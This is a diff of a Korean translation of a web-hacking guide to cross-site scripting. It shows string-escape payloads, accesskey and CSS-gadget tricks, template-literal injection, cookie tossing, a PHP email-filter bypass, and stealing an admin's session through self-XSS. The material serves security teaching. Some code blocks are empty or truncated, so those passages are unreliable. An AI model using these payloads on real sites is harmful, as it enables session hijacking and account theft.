경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다. +또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다. ```javascript '-alert(1)-' %27-alert(1)-%27 @@ -378,7 +378,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법 ```javascript //No safari @@ -423,7 +423,7 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, **희생자**가 **키 조합**을 누르도록 **설득**할 수 있습니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다: +다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다: ```html ``` @@ -431,7 +431,7 @@ onbeforetoggle="alert(2)" /> ### 블랙리스트 우회 -이 섹션에서는 다양한 인코딩을 사용하는 몇 가지 트릭이 이미 공개되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:** +이 섹션에서는 다양한 인코딩을 사용하는 몇 가지 트릭이 이미 노출되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:** - **HTML 인코딩 (HTML 태그)** - **유니코드 인코딩 (유효한 JS 코드일 수 있음):** `\u0061lert(1)` @@ -449,7 +449,7 @@ onbeforetoggle="alert(2)" /> ### CSS-가젯 -웹의 **아주 작은 부분**에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다. +웹의 **아주 작은 부분**에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), 해당 요소가 차지하는 **공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다. 예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -469,19 +469,19 @@ onbeforetoggle="alert(2)" /> ## JavaScript 코드 내 주입 -이 경우 **입력**은 `.js` 파일의 JS 코드 내에 **반영될 것입니다** 또는 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 수 있습니다. +이 경우 **입력**은 `.js` 파일의 JS 코드 내에 **반영**되거나 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 것입니다. ### \` 내에 삽입된 경우, `` 내에 삽입된 경우, ` ``` -이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다. +이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**이며, 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다. ### JS 코드 내부 -`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다: +`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 발생하면 JS 코드가 실행되지 않기 때문입니다: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -489,7 +489,7 @@ onbeforetoggle="alert(2)" /> ``` ### 템플릿 리터럴 \`\` -단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\ +단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\ 따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다: 이것은 다음과 같이 **악용**될 수 있습니다: @@ -741,7 +741,7 @@ top[8680439..toString(30)](1) ## **DOM 취약점** 공격자가 제어하는 **안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\ -**DOM 취약점에 대한 설명이 확장되어** [**이 페이지로 이동했습니다**](dom-xss.md)**:** +**DOM 취약점에 대한 설명이 길어져서** [**이 페이지로 이동했습니다**](dom-xss.md)**:** {{#ref}} dom-xss.md @@ -754,7 +754,7 @@ dom-xss.md ### 쿠키 XSS -쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다: +쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토스 공격을 사용할 수 있습니다: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -768,7 +768,7 @@ dom-xss.md ### 세션 미러링 -self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 볼 수 있습니다. +self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 고객이 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다. 당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 훔칠 수 있습니다**. @@ -776,7 +776,7 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링 ### 정규화된 유니코드 -서버(또는 클라이언트 측)에서 **반영된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting). +서버(또는 클라이언트 측)에서 **반사된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL 플래그 우회 ```javascript @@ -789,13 +789,13 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링 ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -"Key","Value" 쌍은 다음과 같이 에코됩니다: +쌍 "Key","Value"는 다음과 같이 에코됩니다: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다. +그런 다음 onfocus 속성이 삽입되고 XSS가 발생합니다. -### 특별한 조합 +### 특별 조합 ```html